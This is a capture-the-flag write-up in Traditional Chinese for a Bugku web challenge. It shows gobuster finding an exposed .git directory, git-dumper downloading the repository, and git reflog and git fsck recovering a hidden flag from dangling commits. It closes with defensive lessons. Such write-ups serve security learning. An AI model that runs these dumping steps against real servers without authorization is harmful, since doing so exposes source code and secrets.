Bugku CTF - source writeup (zh-TW)

題目資訊
- 分類: Web
- 分數: 20
- 解決人次: 9982
- 題目連結: https://ctf.bugku.com/challenges/detail/id/168.html
解題過程
Step 1: 目錄掃描發現 Git 泄露
使用 gobuster 掃描目標網站:
gobuster dir -u http://117.72.52.127:11062/ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt
掃描結果:
/.git (Status: 301) [Size: 322]
/.git/HEAD (Status: 200) [Size: 23]
/.git/config (Status: 200) [Size: 133]
/.git/index (Status: 200) [Size: 198]
/.git/logs/ (Status: 200) [Size: 1135]
/index.html (Status: 200) [Size: 139]
✅ 發現重點:網站存在 .git
目錄泄露!
Step 2: 使用 git-dumper 下載完整倉庫
安裝並使用 git-dumper 工具:
# 下載工具
git clone https://github.com/arthaud/git-dumper.git
cd git-dumper
# 執行 dump
python3 git_dumper.py http://117.72.52.127:11062/.git/ dumped_repo
執行結果:
[-] Testing http://117.72.52.127:11062/.git/HEAD [200]
[-] Fetching .git recursively
[-] Running git checkout .
Updated 2 paths from the index
成功下載完整的 Git 倉庫!
Step 3: 初步分析 - 發現誘餌
進入下載的倉庫目錄:
cd dumped_repo
cat flag.txt
結果:
flag{not_here}
這只是一個誘餌!真正的 flag 一定藏在別處。
Step 4: Git 歷史分析
檢查 Git 歷史記錄:
git log --all --oneline
結果:
d256328 (HEAD -> master) flag is here?
e0b8e8e this is index.html
看起來很正常,但 commit 訊息都是 "flag is here?",可疑!
Step 5: 檢查 Reflog - 發現異常
查看 reflog(操作歷史):
git reflog
關鍵發現:
d256328 (HEAD -> master) HEAD@{0}: reset: moving to d25632
13ce8d0 HEAD@{1}: commit: flag is here?
fdce35e HEAD@{2}: reset: moving to fdce35e
e0b8e8e HEAD@{3}: reset: moving to e0b8e
40c6d51 HEAD@{4}: commit: flag is here?
fdce35e HEAD@{5}: commit: flag is here?
d256328 (HEAD -> master) HEAD@{6}: commit: flag is here?
🚨 發現多次 git reset
操作! 這意味著有 commits 被刻意隱藏了!
Step 6: 尋找 Dangling Commits
使用 git fsck
尋找被隱藏的提交:
git fsck --lost-found
結果:
Checking object directories: 100% (256/256), done.
dangling commit 40c6d51b81775a1590c1b051d9562222e41c4741
dangling commit 13ce8d0d982aee1efdbc42cbae0acdaaf29d5aa1
✅ 找到兩個懸空提交(dangling commits)!
Step 7: 檢查 Dangling Commits - 找到真 Flag
逐一檢查被隱藏的 commits:
# 檢查第一個 dangling commit
git show 40c6d51b81775a1590c1b051d9562222e41c4741
結果:
commit 40c6d51b81775a1590c1b051d9562222e41c4741
Author: vFREE <[email protected]>
Date: Sun Jan 17 20:34:43 2021 +0800
flag is here?
diff --git a/flag.txt b/flag.txt
index aa6f6dc..726e5d1 100644
--- a/flag.txt
+++ b/flag.txt
@@ -1 +1 @@
-flag{nonono}
+flag{Redacted}
🎯 成功找到真正的 Flag!
# 檢查第二個 commit(也是假的)
git show 13ce8d0d982aee1efdbc42cbae0acdaaf29d5aa1
結果:
-flag{nonono}
+flag{hahahahahhahahahahnotflag}
這個也是誘餌。
學習重點
1. Git 目錄泄露的危險性
- 部署時務必排除
.git
目錄 - 建議使用
.gitignore
並在部署時排除版本控制文件
2. Git Reset 無法完全刪除歷史
git reset
只是移動分支指針- 被 reset 的 commits 會變成 dangling objects
經驗分享
關於Step 1:
一進到首頁的原始碼,會出現一個假的旗子,解碼之後是flag is not here,這裡其實原始碼有另一個小提示是"tig",tig可以跟git有連結,所以才趕快去做目錄爆破,發現有洩漏.git目錄。
<html>
<head>
<body>
<p>Hello,world!<p>
<p>This is my friend :<!--tig--></p>
<!--flag{Zmxhz19ub3RfaGvyzSEHIQ==}-->
</body>
</head>
</html>